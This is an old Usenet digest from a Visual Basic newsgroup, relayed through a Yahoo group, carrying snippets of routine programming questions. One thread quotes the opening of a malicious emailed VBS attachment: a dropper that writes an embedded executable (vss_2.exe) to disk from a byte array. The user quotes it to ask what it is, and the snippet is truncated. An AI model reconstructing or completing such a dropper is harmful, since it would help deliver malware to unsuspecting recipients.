comp.lang.basic.visual.misc
http://groups-beta.google.com/group/comp.lang.basic.visual.miscToday's most active topics: * VBS Email attachment - What is it? - 3 new http://groups-beta.google.com/group/comp.lang.basic.visual.misc/browse_thread/thread/17a804ab83017f5b * Browser for visual basic forms - 3 new http://groups-beta.google.com/group/comp.lang.basic.visual.misc/browse_thread/thread/66c0d3f67523c171 * Probably a stupid newbie question aboutShell function - 3 new http://groups-beta.google.com/group/comp.lang.basic.visual.misc/browse_thread/thread/a8b4a35ca100835d * how can I set default Windows printer in VB6? - 2 new http://groups-beta.google.com/group/comp.lang.basic.visual.misc/browse_thread/thread/826a09d03dcd9b51 * Changing the SQL of a bound combo box - 2 new http://groups-beta.google.com/group/comp.lang.basic.visual.misc/browse_thread/thread/7efcf2b64dd50dea Active Topics ============= how can I set default Windows printer in VB6? - 2 new ---------------------------------- to set the default printer try this ... Set WshNetwork = CreateObject( "WScript.Network") WshNetwork.SetDefaultPrinter "HP DeskJet 540" ' or "\\ servername\printername" for a networked printer ... Regards DL ... ... - Sun, Sep 12 2004 2:53 am 2 messages, 2 authors http://groups-beta.google.com/group/comp.lang.basic.visual.misc/browse_thread/thread/826a09d03dcd9b51 FAO Mike Williams - all new ---------------------------------- Hello Mike Did you and Maureen manage to get away for a few days, where did you go to ?. I have been working with the code you did for me, for the resizing of the slines on a DVD cover. Thank you. I just have 1 question please I have noticed that it is slow sending the output to the printer, I guess this is because of all the calculations it has to do. Paul ... - Sun, Sep 12 2004 3:11 am 1 message, 1 author http://groups-beta.google.com/group/comp.lang.basic.visual.misc/browse_thread/thread/cdd5f83316780896 VBS Email attachment - What is it? - 3 new ---------------------------------- I received an email with an attachment named the_message.vbs. What is it, and what does it do? I did not execute the file, but did open it in a text editor. The code is as follows: dim filesys, filetxt, getname, path, textfile, i textfile = "vss_2.exe" Set filesys = CreateObject("Scripting.FileSystemObject") Set filetxt = filesys.CreateTextFile(textfile, True) getname = filesys. GetFileName(path) dim a a=Array(77,90,0,0,1,0,0,0,2,0,0,0,255,255,0,0,64,0,0,0, 0,0,0,0,64,0,0,0,0,0, 0,0,180,76,205,33,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,144,0,0,0... - Sun, Sep 12 2004 5:41 am 3 messages, 3 authors http://groups-beta.google.com/group/comp.lang.basic.visual.misc/browse_thread/thread/17a804ab83017f5b keybd_event API - all new ---------------------------------- hello everyone i really need some help with this one. this is what i am currently using in my vb6 app. keybd_event VK_T, 0, 0, 0 keybd_event VK_T, 0, KEYEVENTF_KEYUP, 0 the problem is this, the user is able to unknowingly create an error by giving the focus to another window. can i use something else (more reliable) to send keys to another window without an error being caused if my app loses focus ? i have already tried the SetFocusAPI in a loop, but that is still not 100% effective. could SendMessage, SetWindowText or something... - Sun, Sep 12 2004 7:35 am 1 message, 1 author http://groups-beta.google.com/group/comp.lang.basic.visual.misc/browse_thread/thread/7684966e66851bb0 Changing the SQL of a bound combo box - 2 new ---------------------------------- I have an app that uses a fair number of DataCobco controls which are bound to Commands in VB's built-in DataEnvironment. The app is VB6 using ADO. It all works fine, but now I need the ability to change the SQL of a command at runtime (e.g. SELECT * FROM Invoices WHERE InvoiceID=xx). I've tried just changing the commandstring of the command that it's bound to with: DataEnvironment1.Commands("MyCommand").CommandText= <sql> DataEnvironment1. Commands("MyCommand").Execute then asking the DataCombo to: DataCombo1. Refill... - Sun, Sep 12 2004 8:36 am 2 messages, 1 author http://groups-beta.google.com/group/comp.lang.basic.visual.misc/browse_thread/thread/7efcf2b64dd50dea Browser for visual basic forms - 3 new ---------------------------------- What I do is get the form on screen and press "Print Screen" to save it to the clip board. Then I open Note Pad to view and/or print a paper copy. Jim Y . .. ... - Sun, Sep 12 2004 11:15 am 3 messages, 2 authors http://groups-beta.google.com/group/comp.lang.basic.visual.misc/browse_thread/thread/66c0d3f67523c171 Probably a stupid newbie question aboutShell function - 3 new ---------------------------------- Background: Win98se, VB5,Pro, 16 bit Free Agent I thought I would make a simple wrapper for Agent , Eudora, and Netscape, just to kill some time and maybe learn something simple. Just 3 command buttons on a form. Using the shell function to open Eudora Lite and Netscape2.02 worked just fine. However the following Statement: Shell ("C:\Agent\Agent.exe"), 1 brought up a Free Agent setup screen, the kind of stuff that is already in Agent.ini. When I simply use a desktop shortcut to C:\Agent\Agent.exe the program starts... - Sun, Sep 12 2004 12:08 pm 3 messages, 2 authors http://groups-beta.google.com/group/comp.lang.basic.visual.misc/browse_thread/thread/a8b4a35ca100835d MS Office Basic - 2 new ---------------------------------- ... If so you will find most books on VB have a couple of chapters specific to VBA. Also you will get plenty of help from this group. HTH Mick. ... - Sun, Sep 12 2004 1:35 pm 2 messages, 2 authors http://groups-beta.google.com/group/comp.lang.basic.visual.misc/browse_thread/thread/1bdf4af4a6becdd9 mp3 player - all new ---------------------------------- How to analyze mp3 stream in my MP3 - player (Visual Basic.NET). I want to add simply visual effect. B. ... - Sun, Sep 12 2004 1:36 pm 1 message, 1 author http://groups-beta.google.com/group/comp.lang.basic.visual.misc/browse_thread/thread/e7e129be5b610f6a Help with Mail Merge - all new ---------------------------------- I have the following code which used to work pre WinXP/Office XP: <snip> Sql = "SELECT * FROM [MailMerge] WHERE ID = " & mvarUserID Set oWord = New Word.Application DoEvents oWord.Documents.Open FileName:=mvarLocation With oWord.ActiveDocument.MailMerge ... End With oWord.ActiveDocument. PrintOut DoEvents oWord.Documents.Close False oWord.WindowState = wdWindowStateMinimize What I am doing is sending some merge data (Name, address suburb etc) to a pre-prepared word mail merge document (Office... - Sun, Sep 12 2004 4:19 pm 1 message, 1 author http://groups-beta.google.com/group/comp.lang.basic.visual.misc/browse_thread/thread/d0cdf6ed2272fb2b Different input devices - all new ---------------------------------- www.dataq.com offers a 4 channel A/D converter that connects to the serial port. It's $25US (with software) at http://www.dataq.com/194.htm There is a VB 6 OCX for writing your own programs. This might be a good ... More about me: http://www.jecarter.com/ VB3/VB6/C/PowerBasic source code: http://www. jecarter.com/programs.html Freeware for the Palm with NS Basic source code: http://nsb.jecarter.com Drivers for Pablo graphics tablet and JamCam cameras: http://home.earthlink.net/~mwbt/ Email here: http://www.jecarter.com/contactme. htm... - Sun, Sep 12 2004 4:29 pm 1 message, 1 author http://groups-beta.google.com/group/comp.lang.basic.visual.misc/browse_thread/thread/27fb3fc63ce666bf ======================================================================= You received this message because you are subscribed to the Google Groups "comp.lang.basic.visual.misc". comp.lang.basic.visual.misc http://groups-beta.google.com/group/comp.lang.basic.visual.misc Change your subscription type & other preferences: * click http://groups-beta.google.com/group/comp.lang.basic.visual.misc/subscribe Report abuse: * send email explaining the problem to [EMAIL PROTECTED] Unsubscribe: * click http://groups-beta.google.com/group/comp.lang.basic.visual.misc/subscribe ======================================================================= Google Groups: http://groups-beta.google.com ------------------------ Yahoo! Groups Sponsor --------------------~--> Make a clean sweep of pop-up ads. Yahoo! Companion Toolbar. Now with Pop-Up Blocker. Get it for free! http://us.click.yahoo.com/L5YrjA/eSIIAA/yQLSAA/BCfwlB/TM --------------------------------------------------------------------~-> <a href=http://English-12948197573.SpamPoison.com>Fight Spam! Click Here!</a> Yahoo! Groups Links <*> To visit your group on the web, go to: http://groups.yahoo.com/group/kumpulan/ <*> To unsubscribe from this group, send an email to: [EMAIL PROTECTED] <*> Your use of Yahoo! Groups is subject to: http://docs.yahoo.com/info/terms/
